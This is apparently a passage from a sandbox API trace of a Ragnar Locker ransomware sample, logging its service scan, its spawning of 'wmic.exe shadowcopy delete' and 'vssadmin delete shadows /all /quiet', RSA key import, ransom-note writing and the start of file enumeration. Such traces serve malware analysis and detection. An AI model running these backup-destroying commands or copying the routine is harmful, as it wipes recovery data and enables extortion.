lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="HDAudBus", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HidBatt", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HidBth", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HidIr", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="hidserv", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HidUsb", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="hkmsvc", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HomeGroupListener", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HomeGroupProvider", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HpSAMD", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="HTTP", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="hwpolicy", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="i8042prt", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="iaStorV", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="idsvc", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="iirsp", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="IKEEXT", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="intelide", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="intelppm", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="IPBusEnum", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="IpFilterDriver", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="iphlpsvc", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="IPMIDRV", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="IPNAT", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="IRENUM", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="isapnp", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="iScsiPrt", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="kbdclass", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="kbdhid", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="KeyIso", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="KSecDD", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="KSecPkg", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="ksthunk", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="KtmRm", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="LanmanServer", lpSrch="vss") returned 0x0 [0028.642] StrStrIA (lpFirst="LanmanWorkstation", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="lltdio", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="lltdsvc", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="lmhosts", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="LSI_FC", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="LSI_SAS", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="LSI_SAS2", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="LSI_SCSI", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="luafv", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="Mcx2Svc", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="megasas", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MegaSR", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="Microsoft SharePoint Workspace Audit Service", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MMCSS", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="Modem", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="monitor", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mouclass", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mouhid", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mountmgr", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MozillaMaintenance", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mpio", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mpsdrv", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MpsSvc", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MRxDAV", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mrxsmb", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mrxsmb10", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mrxsmb20", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="msahci", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="msdsm", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MSDTC", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="Msfs", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="mshidkmdf", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="msisadrv", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="MSiSCSI", lpSrch="vss") returned 0x0 [0028.643] StrStrIA (lpFirst="msiserver", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="MSKSSRV", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="MSPCLOCK", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="MSPQM", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="MsRPC", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="mssmbios", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="MSTEE", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="MTConfig", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Mup", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="napagent", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NativeWifiP", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NDIS", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NdisCap", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NdisTapi", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Ndisuio", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NdisWan", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NDProxy", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NetBIOS", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NetBT", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Netlogon", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Netman", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NetMsmqActivator", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NetPipeActivator", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="netprofm", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NetTcpActivator", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NetTcpPortSharing", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="nfrd960", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="NlaSvc", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Npfs", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="nsi", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="nsiproxy", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Ntfs", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="Null", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="nvraid", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="nvstor", lpSrch="vss") returned 0x0 [0028.644] StrStrIA (lpFirst="nv_agp", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="ohci1394", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="ose64", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="osppsvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="p2pimsvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="p2psvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="Parport", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="partmgr", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PcaSvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="pci", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="pciide", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="pcmcia", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="pcw", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PEAUTH", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PeerDistSvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PerfHost", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="pla", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PlugPlay", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PNRPAutoReg", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PNRPsvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PolicyAgent", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="Power", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="PptpMiniport", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="Processor", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="ProfSvc", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="ProtectedStorage", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="Psched", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="ql2300", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="ql40xx", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="QWAVE", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="QWAVEdrv", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="RasAcd", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="RasAgileVpn", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="RasAuto", lpSrch="vss") returned 0x0 [0028.645] StrStrIA (lpFirst="Rasl2tp", lpSrch="vss") returned 0x0 [0028.646] StrStrIA (lpFirst="RasMan", lpSrch="vss") returned 0x0 [0028.646] StrStrIA (lpFirst="RasPppoe", lpSrch="vss") returned 0x0 [0028.646] OpenServiceA (hSCManager=0x59bb88, lpServiceName="VSS", dwDesiredAccess=0x2c) returned 0x59b868 [0028.647] QueryServiceStatusEx (in: hService=0x59b868, InfoLevel=0x0, lpBuffer=0x1ee57c, cbBufSize=0x24, pcbBytesNeeded=0x1ee5a8 | out: lpBuffer=0x1ee57c, pcbBytesNeeded=0x1ee5a8) returned 1 [0028.647] CloseServiceHandle (hSCObject=0x59b868) returned 1 [0028.654] CloseServiceHandle (hSCObject=0x59bb88) returned 1 [0028.663] GetNativeSystemInfo (in: lpSystemInfo=0x1ee514 | out: lpSystemInfo=0x1ee514*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0028.663] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76e10000 [0028.663] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64EnableWow64FsRedirection") returned 0x76e3ebe8 [0028.663] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=0) returned 1 [0028.663] GetStartupInfoW (in: lpStartupInfo=0x1ee4d0 | out: lpStartupInfo=0x1ee4d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sofreg.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0xfffffffe, hStdError=0x7ff)) [0028.663] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="wmic.exe shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1ee4d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sofreg.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0xfffffffe, hStdError=0x7ff), lpProcessInformation=0x1ee538 | out: lpCommandLine="wmic.exe shadowcopy delete", lpProcessInformation=0x1ee538*(hProcess=0xc4, hThread=0xc0, dwProcessId=0xb68, dwThreadId=0xb4c)) returned 1 [0028.679] CloseHandle (hObject=0xc4) returned 1 [0028.679] CloseHandle (hObject=0xc0) returned 1 [0028.679] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0xffffffff [0028.679] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1ee4d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sofreg.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0xfffffffe, hStdError=0x7ff), lpProcessInformation=0x1ee538 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1ee538*(hProcess=0xc4, hThread=0xc0, dwProcessId=0xb00, dwThreadId=0x688)) returned 1 [0029.639] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0044.575] CloseHandle (hObject=0xc4) returned 1 [0044.591] CloseHandle (hObject=0xc0) returned 1 [0044.593] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76e10000 [0044.601] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64EnableWow64FsRedirection") returned 0x76e3ebe8 [0044.601] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=1) returned 1 [0044.601] StrToIntA (lpSrc="3621") returned 3621 [0044.601] GetProcessHeap () returned 0x580000 [0044.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x59e4c8 [0044.602] CryptAcquireContextW (in: phProv=0x59e4c8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x59e4c8*=0x59ef60) returned 1 [0044.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fb090, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 452 [0044.927] GetProcessHeap () returned 0x580000 [0044.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x388) returned 0x5a0588 [0044.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fb090, cbMultiByte=-1, lpWideCharStr=0x5a0588, cchWideChar=452 | out: lpWideCharStr="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rt9EPkNBSGeoCGzU50f\nOaEgC3EdDSXvMT26aRlzsUcng/EZUlTKwYDYwHXdIuWvshUymKexyi/BLR1fGs5Y\n044BnrBqFPSgrjwarZw37wLTYqAKGR/5pTKxjwVuJ4ArC2A1XbYOlmhv2pbnVq4l\nq0juc6W2MNoK31Bfds3/lrLAqlu3KMMg43PCvI2IMooguRRm7NEvqSeuu5ZmuC/A\nv2/aNxSQoXfr2yS6JoZP7EFx/I00bkWWrHr4qhHppJrRVcJH8jGh9DDSuz7XzoW7\ntLAPQZKR8V29x5z0Yscgm64Bd60uj3Fp9N7xqRDWZUKZQ+om9yTRhpsi8gORGrVp\nMQIDAQAB\n-----END PUBLIC KEY-----\n") returned 452 [0044.931] CryptStringToBinaryW (in: pszString="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rt9EPkNBSGeoCGzU50f\nOaEgC3EdDSXvMT26aRlzsUcng/EZUlTKwYDYwHXdIuWvshUymKexyi/BLR1fGs5Y\n044BnrBqFPSgrjwarZw37wLTYqAKGR/5pTKxjwVuJ4ArC2A1XbYOlmhv2pbnVq4l\nq0juc6W2MNoK31Bfds3/lrLAqlu3KMMg43PCvI2IMooguRRm7NEvqSeuu5ZmuC/A\nv2/aNxSQoXfr2yS6JoZP7EFx/I00bkWWrHr4qhHppJrRVcJH8jGh9DDSuz7XzoW7\ntLAPQZKR8V29x5z0Yscgm64Bd60uj3Fp9N7xqRDWZUKZQ+om9yTRhpsi8gORGrVp\nMQIDAQAB\n-----END PUBLIC KEY-----\n", cchString=0x0, dwFlags=0x0, pbBinary=0x0, pcbBinary=0x1ee5c0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x1ee5c0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0044.934] GetProcessHeap () returned 0x580000 [0044.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x126) returned 0x5a0ba0 [0044.934] CryptStringToBinaryW (in: pszString="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rt9EPkNBSGeoCGzU50f\nOaEgC3EdDSXvMT26aRlzsUcng/EZUlTKwYDYwHXdIuWvshUymKexyi/BLR1fGs5Y\n044BnrBqFPSgrjwarZw37wLTYqAKGR/5pTKxjwVuJ4ArC2A1XbYOlmhv2pbnVq4l\nq0juc6W2MNoK31Bfds3/lrLAqlu3KMMg43PCvI2IMooguRRm7NEvqSeuu5ZmuC/A\nv2/aNxSQoXfr2yS6JoZP7EFx/I00bkWWrHr4qhHppJrRVcJH8jGh9DDSuz7XzoW7\ntLAPQZKR8V29x5z0Yscgm64Bd60uj3Fp9N7xqRDWZUKZQ+om9yTRhpsi8gORGrVp\nMQIDAQAB\n-----END PUBLIC KEY-----\n", cchString=0x0, dwFlags=0x0, pbBinary=0x5a0ba0, pcbBinary=0x1ee5c0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x5a0ba0, pcbBinary=0x1ee5c0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0044.934] GetProcessHeap () returned 0x580000 [0044.934] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0588 | out: hHeap=0x580000) returned 1 [0044.934] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x5a0ba0, cbEncoded=0x126, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x1ee5bc, pcbStructInfo=0x1ee5b8 | out: pvStructInfo=0x1ee5bc, pcbStructInfo=0x1ee5b8) returned 1 [0046.150] CryptImportPublicKeyInfo (in: hCryptProv=0x59ef60, dwCertEncodingType=0x1, pInfo=0x5a0588*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x5a05b8*, PublicKey.cbData=0x10e, PublicKey.pbData=0x5a05c0*, PublicKey.cUnusedBits=0x0), phKey=0x59e4cc | out: phKey=0x59e4cc*=0x5a0960) returned 1 [0046.223] GetProcessHeap () returned 0x580000 [0046.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0ba0 | out: hHeap=0x580000) returned 1 [0046.223] LocalFree (hMem=0x5a0588) returned 0x0 [0046.223] GetProcessHeap () returned 0x580000 [0046.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x190) returned 0x5a0588 [0046.223] CryptEncrypt (in: hKey=0x5a0960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a0588*, pdwDataLen=0x1ee5c8*=0x28, dwBufLen=0x190 | out: pbData=0x5a0588*, pdwDataLen=0x1ee5c8*=0x100) returned 1 [0046.224] GetLastError () returned 0x0 [0046.224] GetProcessHeap () returned 0x580000 [0046.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x140) returned 0x5a0720 [0046.224] CryptEncrypt (in: hKey=0x5a0960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a0720*, pdwDataLen=0x1ee5c8*=0x20, dwBufLen=0x140 | out: pbData=0x5a0720*, pdwDataLen=0x1ee5c8*=0x100) returned 1 [0046.225] GetLastError () returned 0x0 [0046.225] GetProcessHeap () returned 0x580000 [0046.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59e4c8 | out: hHeap=0x580000) returned 1 [0046.225] GetComputerNameW (in: lpBuffer=0x1eeef0, nSize=0x1efe94 | out: lpBuffer="XDUWTFONO", nSize=0x1efe94) returned 1 [0046.225] VirtualAlloc (lpAddress=0x0, dwSize=0x7f, flAllocationType=0x3000, flProtect=0x4) returned 0x290000 [0046.225] lstrlenW (lpString="XDUWTFONO") returned 9 [0046.225] wsprintfW (in: param_1=0x290000, param_2="%08X" | out: param_1="FD7BD9FC") returned 8 [0046.225] lstrcpyW (in: lpString1=0x1ef808, lpString2="\\" | out: lpString1="\\") returned="\\" [0046.225] lstrcpyW (in: lpString1=0x2fa110, lpString2="RGNR_" | out: lpString1="RGNR_") returned="RGNR_" [0046.225] lstrcatW (in: lpString1="RGNR_", lpString2="FD7BD9FC" | out: lpString1="RGNR_FD7BD9FC") returned="RGNR_FD7BD9FC" [0046.225] lstrcatW (in: lpString1="RGNR_FD7BD9FC", lpString2=".txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0046.225] lstrcatW (in: lpString1="\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\RGNR_FD7BD9FC.txt") returned="\\RGNR_FD7BD9FC.txt" [0046.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2fa010, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0047.096] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\RGNR_FD7BD9FC.txt" | out: lpString1="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt") returned="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" [0047.096] lstrcpyA (in: lpString1=0x1efd60, lpString2="AfccD1E961e8E20bEBECaEc3F8BA7ed2d5BB7bd47C34D16263F57bdaCbb7dEa7" | out: lpString1="AfccD1E961e8E20bEBECaEc3F8BA7ed2d5BB7bd47C34D16263F57bdaCbb7dEa7") returned="AfccD1E961e8E20bEBECaEc3F8BA7ed2d5BB7bd47C34D16263F57bdaCbb7dEa7" [0047.096] lstrlenA (lpString="AfccD1E961e8E20bEBECaEc3F8BA7ed2d5BB7bd47C34D16263F57bdaCbb7dEa7") returned 64 [0047.096] GetProcessHeap () returned 0x580000 [0047.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x58) returned 0x5a1148 [0047.096] CryptBinaryToStringA (in: pbBinary=0x1efd60, cbBinary=0x40, dwFlags=0x40000001, pszString=0x0, pcchString=0x1efec8 | out: pszString=0x0, pcchString=0x1efec8) returned 1 [0047.189] GetProcessHeap () returned 0x580000 [0047.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x59) returned 0x5a11a8 [0047.189] CryptBinaryToStringA (in: pbBinary=0x1efd60, cbBinary=0x40, dwFlags=0x40000001, pszString=0x5a11a8, pcchString=0x1efec8 | out: pszString="QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw==", pcchString=0x1efec8) returned 1 [0047.189] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0047.221] WriteFile (in: hFile=0xf0, lpBuffer=0x2fb668*, nNumberOfBytesToWrite=0xe25, lpNumberOfBytesWritten=0x1efe90, lpOverlapped=0x0 | out: lpBuffer=0x2fb668*, lpNumberOfBytesWritten=0x1efe90*=0xe25, lpOverlapped=0x0) returned 1 [0047.223] wsprintfA (in: param_1=0x1efcb8, param_2="\r\n%s\r\n\r\n%s\r\n%s\r\n%s\r\n\r\n%s\r\n" | out: param_1="\r\n***********************************************************************************\r\n\r\n---RAGNAR SECRET---\r\nQWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw==\r\n---RAGNAR SECRET---\r\n\r\n***********************************************************************************\r\n") returned 308 [0047.223] lstrlenA (lpString="\r\n***********************************************************************************\r\n\r\n---RAGNAR SECRET---\r\nQWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw==\r\n---RAGNAR SECRET---\r\n\r\n***********************************************************************************\r\n") returned 308 [0047.223] WriteFile (in: hFile=0xf0, lpBuffer=0x1efcb8*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x1efe90, lpOverlapped=0x0 | out: lpBuffer=0x1efcb8*, lpNumberOfBytesWritten=0x1efe90*=0x134, lpOverlapped=0x0) returned 1 [0047.223] CloseHandle (hObject=0xf0) returned 1 [0047.224] lstrcpyW (in: lpString1=0x2fa210, lpString2=".ragnar_" | out: lpString1=".ragnar_") returned=".ragnar_" [0047.224] lstrcatW (in: lpString1=".ragnar_", lpString2="FD7BD9FC" | out: lpString1=".ragnar_FD7BD9FC") returned=".ragnar_FD7BD9FC" [0047.224] GetLogicalDrives () returned 0x4 [0047.224] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.224] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0047.224] GetWindowsDirectoryW (in: lpBuffer=0x1ef708, uSize=0xfe | out: lpBuffer="C:\\Windows") returned 0xa [0047.224] lstrcpyW (in: lpString1=0x1ee5e0, lpString2="\\\\?\\" | out: lpString1="\\\\?\\") returned="\\\\?\\" [0047.224] lstrcatW (in: lpString1="\\\\?\\", lpString2="C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0047.224] lstrcatW (in: lpString1="\\\\?\\C:\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\*.*") returned="\\\\?\\C:\\*.*" [0047.224] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1edd0c, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.225] lstrcpyW (in: lpString1=0x1edb04, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.225] lstrcpyW (in: lpString1=0x1edd1a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*.*", lpFindFileData=0x1ee328 | out: 